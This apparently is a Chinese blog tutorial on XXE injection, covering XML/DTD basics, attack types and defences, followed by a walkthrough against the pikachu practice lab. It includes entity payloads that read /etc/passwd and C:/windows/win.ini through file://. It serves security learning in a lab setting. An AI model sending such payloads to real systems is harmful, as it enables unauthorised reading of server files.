XXE(外部实体注入)

目录

学习xxe前提:了解xml格式

[1. XML基础](#1. XML基础)

[2. XXE基础知识](#2. XXE基础知识)

[2.1. 结构](#2.1. 结构)

[2.2. 定义与原理](#2.2. 定义与原理)

[2.3. XML实体类型](#2.3. XML实体类型)

[2.4. 攻击类型](#2.4. 攻击类型)

[2.5. 防御措施](#2.5. 防御措施)

[3. pikachu靶场xxe练习](#3. pikachu靶场xxe练习)


学习xxe前提:了解xml格式

1. XML基础

文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD文档

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">


内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

设计它的目的是传输数据。XML语言的出现核心是用来展示及数据的交互

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

XXE(XML External Entity)即XML外部实体注入攻击 ,利用XML解析器的配置缺陷 ,通过构造恶意外部实体,读取文件、发起SSRF攻击或执行远程 代码 。XML允许自定义实体,当解析器处理外部实体(SYSTEM关键字)时,若未严格限制,攻击者可注入恶意实体访问系统资源。

服务端接收了并解析了来自用户端的xml数据,但是没有做到严格的分析和过滤,导致外部实体注入

2.3. XML实体类型

  • 内部实体 :在文档内定义,如 <!ENTITY name "value">
  • 外部实体 :引用外部资源,如 <!ENTITY ext SYSTEM "file:///etc/passwd">
  • 参数实体 :用于DTD内部,以%声明,如 <!ENTITY %n param "content">

%n表示=content,也可以理解为调用。

2.4. 攻击类型

  • 文件读取 :利用file://协议读取服务器文件(如/etc/passwd)。
  • SSRF(服务端请求伪造) :通过http://等协议探测内网服务。
  • 拒绝服务(DoS) :加载大文件(如/dev/random)耗尽资源。
  • 远程代码执行(RCE) :需特定环境支持(如PHP的expect模块)。
  • 综合能力,主要学会融会贯通,洞与洞之间的联通,

2.5. 防御措施

  • 禁用外部实体 :配置解析器禁用DTD和外部实体(如Java的DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true))。
  • 使用安全解析器 :如Python的defusedxml库。
  • 输入过滤 :移除XML中的DOCTYPE声明和敏感关键字。
  • 数据格式替代:优先使用JSON等非XML格式。

3. pikachu靶场xxe练习

如图所示,图中具有一个接口,可以接受我所打入的xml代码。

现在我使用下面xml码传输数据

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker "shuaitan">

]>

<name>&hacker;</name>

具有回显

构造payload

接下来利用file协议进行敏感文件查看

查看文件: win.ini 该文件之前在文件包含时也查询过

是系统的默认文件

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">

]>

<name>&hacker;</name>

敏感文件查看:

相关推荐
一 乐5 小时前
婚纱摄影网站|基于ssm + vue婚纱摄影网站系统(源码+数据库+文档)
前端·javascript·数据库·vue.js·spring boot·后端
沈浩(种子思维作者)5 小时前
真的能精准医疗吗?癌症能提前发现吗?
人工智能·python·网络安全·健康医疗·量子计算
C_心欲无痕6 小时前
ts - tsconfig.json配置讲解
linux·前端·ubuntu·typescript·json
清沫6 小时前
Claude Skills:Agent 能力扩展的新范式
前端·ai编程
yinuo6 小时前
前端跨页面通信终极指南:方案拆解、对比分析
前端
yinuo7 小时前
前端跨页面通讯终极指南⑨:IndexedDB 用法全解析
前端
xkxnq8 小时前
第二阶段:Vue 组件化开发(第 16天)
前端·javascript·vue.js
烛阴8 小时前
拒绝配置地狱!5 分钟搭建 Three.js + Parcel 完美开发环境
前端·webgl·three.js
xkxnq8 小时前
第一阶段:Vue 基础入门(第 15天)
前端·javascript·vue.js
vortex58 小时前
Wfuzz 全面使用指南:Web 应用模糊测试工具详解
网络安全·渗透测试·kali